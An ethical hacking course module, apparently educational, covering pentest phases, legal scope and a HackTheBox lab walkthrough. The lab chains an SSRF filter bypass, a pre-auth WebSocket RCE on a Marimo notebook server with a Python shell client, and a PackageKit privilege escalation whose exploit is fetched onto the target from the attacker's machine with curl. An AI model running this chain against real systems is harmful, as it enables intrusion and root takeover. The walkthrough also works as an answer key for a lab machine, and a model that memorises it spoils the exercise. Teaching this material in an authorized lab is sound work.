Ethical Hacking

Objectives: By the end of this topic, you will be able to…

  • Execute a basic pentest with a clear methodology
  • Use Kali Linux tools in each phase of ethical hacking
  • Document findings professionally
  • Act within a legal and ethical framework

What is ethical hacking?

Ethical hacking is the practice of assessing the security of computer systems in a controlled, legal way with explicit consent from the owner. The goal is to identify vulnerabilities before malicious actors exploit them.

An ethical hacker (pentester) simulates real attacks to strengthen security. Unlike malicious hackers (black hats), ethical hackers (white hats) act responsibly and professionally within a legal and ethical framework.

AspectEthical HackingMalicious Hacking
IntentionProtect and improve securityObtain personal gain
LegalityWith authorizationWithout consent
DocumentationRequires technical reportAvoids leaving traces
Defined scopeYes, established by contractDoes not respect boundaries
ConsequencesSecurity improvementsReputational, financial, or legal damage

Because the goal is controlled testing and not open exposure, an engagement is normally conducted over a dedicated channel: a VPN tunnel into a segmented environment, or a client-provided jump host, rather than a direct connection between the tester’s machine and the target. This boundary is not a formality. It keeps the tester’s own traffic (and the wider internet) from touching the target network directly, it confines an authorized test to the systems the contract actually names even when other systems sit on the same network segment, and it gives both parties a clean line to point to if anything about the engagement is later disputed.

Question

Before continuing: your contract authorizes only the systems named in it. During a scan you find another host, clearly reachable, clearly vulnerable, sitting on the same network segment. Can you test it? What does the isolation boundary above actually change about the answer?


Phases of ethical hacking

1. Reconnaissance

Collect information about the target without directly interacting with it: websites, domains, DNS records, technologies in use, emails, employee names, leaks.

Common tools: whois, nslookup, theHarvester, Shodan, Maltego

These are the same OSINT tools covered in depth in OSINT; here they mark the recon phase applied to a live, in-scope target rather than open-source records.

2. Scanning and enumeration

Interact directly with the target to identify services, open ports, and attack vectors. Enumerate users, software versions, entry points.

Common tools: nmap, nikto, dirb, enum4linux

A basic port scan only reports whether a port is open. The -sC flag runs a set of default enumeration scripts against whatever answers, and -sV probes for the exact software and version behind it, which is what later turns a scan result into a search against a vulnerability database. The combined -A flag adds OS fingerprinting and traceroute in one heavier, noisier pass (a full account of what a scan does at the packet level comes later in Automation).

A single IP address often answers for more than one site or application. An HTTP server routes an incoming request by the Host header the client sends, not by IP address alone, so browsing a target’s raw IP can show a default or unrelated page while a specific hostname resolves to the real application (virtual hosting). Finding those hidden hostnames, whether through DNS, certificate metadata, or by trying candidate names against the server’s Host-header routing, routinely uncovers attack surface a plain IP-based scan never shows, because each hostname behind the same IP can run a completely different application.

Example

A scan reports 80/tcp open http Apache 2.4.49. That version string is exactly what a vulnerability search keys on: look up known CVEs against that specific Apache 2.4.x release and notice how quickly a version number turns into a short list of candidate exploits.

3. Exploitation

Leverage identified vulnerabilities to obtain unauthorized access. Demonstrates whether a finding is truly exploitable.

Common tools: sqlmap, msfconsole, exploit-db, custom scripts

A null byte (\x00) marks the end of a string in C, and in any higher-level language or library that eventually calls into C string-handling functions underneath. Some validation code checks a string in the higher-level language, where a null byte is just another character, and then hands that same string to a lower-level function that treats the null byte as the string’s actual end. An attacker who appends a null byte to a filename, path, or credential value can exploit exactly that disagreement: the validation logic approves the full string, while the function underneath acts on a shorter, attacker-chosen value it truncated at the null. This sits at the boundary between two layers that disagree about where a string ends. It is a parsing confusion, not a memory corruption bug, which is why it can surface even in memory-safe application code that wraps an unsafe C library.

Exploitation frameworks distinguish a plain reverse shell from a more capable session type such as Metasploit’s Meterpreter. A reverse shell gives you whatever the target’s own shell supports and nothing more. Meterpreter runs as an in-memory agent inside the exploited process rather than writing a new binary to disk, and it exposes a structured command set built on top of that access: file transfer, migration to a more stable host process, credential and token harvesting, and pivoting to other hosts reachable from the target, all through the same session instead of requiring you to script each capability by hand over a bare shell.

Question

Once you have a session on a target, why would you prefer a Meterpreter-style session over a raw reverse shell for the work that follows? Name two capabilities the richer session gives you that a bare shell doesn’t.

4. Post-exploitation

Assess the impact once inside the system: privileges obtained, data accessible, possibility of persistent access.

Possible activities: dumping passwords, lateral movement, extracting tokens or keys.

Least privilege is the principle that an account or process should hold only the permissions its job requires, no more. A sudo rule that lets a low-privilege account run one specific script as root without a password (NOPASSWD) is a deliberate exception to that principle, usually there so an automated task can run unattended, and it becomes a risk exactly when that script processes input the account controls, such as a filename or an archive to extract. Auditing sudo -l for a compromised account is a standard post-exploitation step for exactly this reason: it shows not just what the account can already do, but what it can be tricked into doing as someone else.

5. Reporting

Document all activities: vulnerabilities found, severity, evidence (screenshots, logs, commands), mitigation recommendations. Reports should be clear, technical, and reproducible.


Before any pentest activity, a signed legal agreement must define:

  • Scope: which systems are authorized, allowed times, depth of testing
  • Limitations: what is not permitted (e.g., no DoS)
  • Legal liability: damage limits, protection for the tester
  • Confidentiality: nondisclosure agreement (NDA)

Never perform a penetration test without a formal contract or agreement.

Question

Your contract lists systems A and B in scope. During testing you find an unlisted host reachable from the target network. Can you test it? Why doesn’t the answer depend on how easy it would be?


Recognized pentesting methodologies

The five phases above are a simplified skeleton every practical methodology elaborates on. PTES and OSSTMM below are established, more detailed standards built on the same underlying flow, not competitors to it: where the five-phase list names “reconnaissance,” PTES splits the same activity into pre-engagement interactions and intelligence gathering, and adds a threat-modeling phase (the same STRIDE/DREAD process from Threat Modeling) between recon and exploitation. Knowing the short list lets you place any more detailed standard’s phases against it.

Question

PTES lists seven phases and the list earlier in this class lists five. Are these two competing methodologies? Map each of PTES’s phases onto reconnaissance, scanning, exploitation, post-exploitation, or reporting, and name the one PTES phase that doesn’t fit neatly into any of the five.

PTES (Penetration Testing Execution Standard)

Comprehensive framework covering: pre-engagement interactions, intelligence gathering, threat modeling, vulnerability analysis, exploitation, post-exploitation, and reporting.

OSSTMM (Open Source Security Testing Methodology Manual)

Broad, scientific approach covering human, physical, electronic, and process aspects. Defines zones of interaction and quantitative metrics.


Hands-on lab

Requirements: Kali Linux with HackTheBox VPN, machine “Cohort”

Safety and ethics

Only attack machines you have explicit permission to test. Record every step you take so your work is reproducible and can be graded. Use disposable VMs or containers to isolate your activity and avoid damaging your host system.

Part 0: Connect to HTB via OpenVPN

sudo openvpn --config ~/Downloads/HTB-yourvpn.ovpn

Verify with ip a (check for tun0 interface) and ping <target-ip>.

If TLS handshakes or WebSocket connections later in this lab stall or hang over the tunnel, lower the tunnel’s MTU to avoid fragmentation issues:

sudo ip link set dev tun0 mtu 1300

Question

Why does HTB require you to connect via VPN before accessing any machine? What network boundaries does the tunnel create, and why would it be dangerous to expose a lab machine directly to the internet?

Part 1: Reconnaissance with nmap

A default nmap scan only checks the 1000 most common ports. Run a full TCP port sweep first so you don’t miss anything outside that list, then follow up with version and script detection against whatever it finds:

nmap -p- --min-rate 5000 <target-ip>
nmap -sC -sV -p22,80,443 --min-rate 5000 <target-ip>

The results show SSH on port 22, HTTP on port 80, and HTTPS on port 443. Port 80 redirects to https://cohort.htb/. The certificate served on 443 lists both cohort.htb and *.cohort.htb in its Subject Alternative Names.

Question

Why does a wildcard entry in a TLS certificate’s SAN list (*.cohort.htb) count as reconnaissance information, even before you’ve confirmed a single real subdomain exists? Compare what it tells you to what you’d know with no wildcard at all.

Part 2: Hostname resolution and portal exploration

sudo nano /etc/hosts
# add: <target-ip>    cohort.htb

Browse to https://cohort.htb (the certificate is self-signed, so both your browser and curl will need to accept it, e.g. curl -k). The site presents a “Client Insights” portal with a feature that accepts a report source URL and fetches it on the server’s behalf. Pull down the page and its JavaScript bundle for closer inspection:

curl -k -s https://cohort.htb/portal.html
curl -k -s https://cohort.htb/assets/app.js -o app.js

Question

Why is inspecting a client-side JavaScript bundle a reconnaissance step worth doing, even though it never touches the server beyond the initial download? What kind of information does front-end code routinely leak that a rendered page doesn’t show?

Part 3: API discovery

Fuzz the API surface behind the portal:

ffuf -k -u https://cohort.htb/api/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -mc all -fc 404 -ac

This surfaces /api/health:

curl -k -i https://cohort.htb/api/health
{"ok": true, "service": "cohort-insights"}

The “report source URL” field you found in Part 2 is fetched server-side by the application — a classic Server-Side Request Forgery (SSRF) surface: the server, not your browser, makes the outbound request, so anything it can reach on the server’s network is a potential target, not just what you can reach from Kali.

Part 4: SSRF filter bypass and internal disclosure

Submit the source-URL feature a loopback address and observe that it’s blocked:

http://127.0.0.1/
http://localhost/

Both are rejected by the application’s validation. Try the wildcard address instead:

http://0.0.0.0/

This one is accepted. 0.0.0.0 (INADDR_ANY) isn’t on the application’s blocklist, but the kernel still resolves a connection to it as loopback — the filter checked a string, not what the string actually routes to.

Point the SSRF at an internal status path through the same wildcard address (e.g. http://0.0.0.0/status). The response discloses the reverse proxy’s upstream mapping, including an internal-only virtual host:

nb-1be3782a8afd3ad5.cohort.htb -> 127.0.0.1:8888

Add it to your hosts file:

sudo nano /etc/hosts
# update line to: <target-ip>    cohort.htb nb-1be3782a8afd3ad5.cohort.htb

Question

127.0.0.1 and localhost were blocked, but 0.0.0.0 was not, and both reach the same destination. What does this tell you about the difference between validating a string against a blocklist and validating what that string actually resolves to? Name one other loopback representation (decimal, octal, IPv6, or otherwise) that a naive blocklist is likely to miss.

Question

The hidden virtual host on port 8888 was never listed in your nmap scan and isn’t reachable directly from your Kali box. Why not — and what does that tell you about the actual blast radius of an SSRF bug, versus what a port scan alone would suggest?

Part 5: Exploiting the Marimo pre-auth RCE

Browse to https://nb-1be3782a8afd3ad5.cohort.htb/. It’s running Marimo, a Python notebook server, version 0.20.4 (confirmed by __generated_with = "0.20.4" in the notebook source). Marimo versions up to and including 0.20.4 ship a pre-authentication RCE in the /terminal/ws WebSocket endpoint, fixed in 0.23.0 (GHSA-2679-6mx9-h9xc).

Confirm the endpoint accepts unauthenticated commands with a one-shot test:

wscat -n -c wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws -x $'id\n'
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)

Question

At which phase of the ethical hacking methodology does obtaining this shell occur? The notebook service was only reachable via the SSRF chain in Part 4 — does that change which phase this step belongs to, or just how you got there?

Question

The /terminal/ws endpoint carries no authentication at all, not even a weak one. Why is “it’s only reachable internally” not a valid substitute for authentication on a service like this — and what did Part 4 just demonstrate about that assumption in practice?

Part 6: Interactive shell and user flag

A one-shot command is enough to prove the vulnerability, but you’ll want an interactive session. Save the following as wsclient.py:

import ssl
import sys
import threading
import websocket
 
url = "wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws"
 
ws = websocket.create_connection(
    url,
    sslopt={"cert_reqs": ssl.CERT_NONE}
)
 
def receive():
    while True:
        try:
            data = ws.recv()
            if isinstance(data, bytes):
                data = data.decode(errors="replace")
            print(data, end="")
        except Exception:
            break
 
threading.Thread(target=receive, daemon=True).start()
 
for line in sys.stdin:
    ws.send(line.rstrip("\n") + "\n")

Run it to get an interactive terminal as marimo:

python3 wsclient.py
ls
cat user.txt
cat notebooks/retention.py   # also confirms the Marimo version

Part 7: Privilege escalation enumeration

Check for the obvious route first:

id
whoami
sudo -n -l

marimo has no usable passwordless sudo rule. Look instead at what’s installed and held back from updates:

pkcon --version
dpkg-query -W -f='${Package} ${Version}\n' packagekit
dpkg -l packagekit
apt-mark showhold
packagekit 1.2.8-2ubuntu1.2

dpkg -l marks the package hi — installed and held, meaning apt/apt-get won’t upgrade it even when a newer version is available. Ubuntu’s fixed revision for this CVE on 24.04 is 1.2.8-2ubuntu1.5; the installed .2 revision is vulnerable (Ubuntu CVE-2026-41651 tracker).

Question

What does holding a package (the hi flag) actually do, mechanically, to how the system patches itself? Why would an organization deliberately hold a security-relevant daemon like PackageKit at a known-vulnerable version, and what process failure does that represent?

Part 8: Privilege escalation via PackageKit TOCTOU (CVE-2026-41651)

packagekitd is vulnerable to a TOCTOU (time-of-check-to-time-of-use) race: it authorizes a package-install transaction against one set of flags, but executes it against flags that can still be overwritten before execution actually runs. A public PoC chains this into full root:

  1. Build the exploit on your Kali box (not on the target):
git clone https://github.com/Vozec/CVE-2026-41651.git
cd CVE-2026-41651
sudo apt install -y libglib2.0-dev
make
  1. Serve the compiled binary and pull it onto the target from your marimo shell:
# on Kali, inside the CVE-2026-41651 directory:
python3 -m http.server 8000
# in the wsclient.py shell, as marimo:
curl -o /tmp/cve-2026-41651 http://<your-tun0-ip>:8000/cve-2026-41651
chmod +x /tmp/cve-2026-41651
  1. Run it and confirm root:
/tmp/cve-2026-41651
id
cat /root/root.txt

The PoC first opens a transaction with the SIMULATE flag, which polkit lets through without a real authorization check, then immediately sends a second call that overwrites the cached flags and file path with the real, unauthorized install — before the daemon’s event loop has processed either. When it dispatches, it reads the second call’s flags, and installs a package (with a postinst that sets the SUID bit on /bin/bash) as root.

Question

Both malicious D-Bus calls are sent asynchronously, back-to-back, before the client’s event loop even iterates once — so there’s no timing window to “win.” Is this still correctly described as a TOCTOU vulnerability? What was actually checked, and what was actually used, and were they the same value?

Question

The fix adds a state guard that rejects any second call unless the transaction is still in its initial NEW state. In one sentence, why does checking the transaction’s state (rather than its flags) close this specific gap?

Question

Trace the full attack chain from initial access to root, naming the vulnerability exploited at each step and the phase of the ethical hacking methodology it belongs to. For each vulnerability, write one sentence describing how the system owner could have prevented it.

Cleanup

rm -f app.js wsclient.py
rm -rf ~/CVE-2026-41651

Submission

ZIP file containing:

  • PDF report (executive summary, methodology, prioritized findings, remediation guidance)
  • Raw commands transcript
  • Screenshots directory (named by step)
  • PoC directory with payloads and scripts used
  • One paragraph per vulnerability explaining why the exploit worked and one mitigation

Key concepts

TermDefinition
Hacking eticoAuthorized security assessment simulating real attacks
PentestingPenetration testing with a structured methodology
MetasploitExploitation framework for security assessments
NmapPort scanning and service discovery tool
Reverse shellConnection initiated from the compromised system to the attacker
PTESStandard that defines the phases of a professional pentest

Navigation: ← Previous | Home | Next →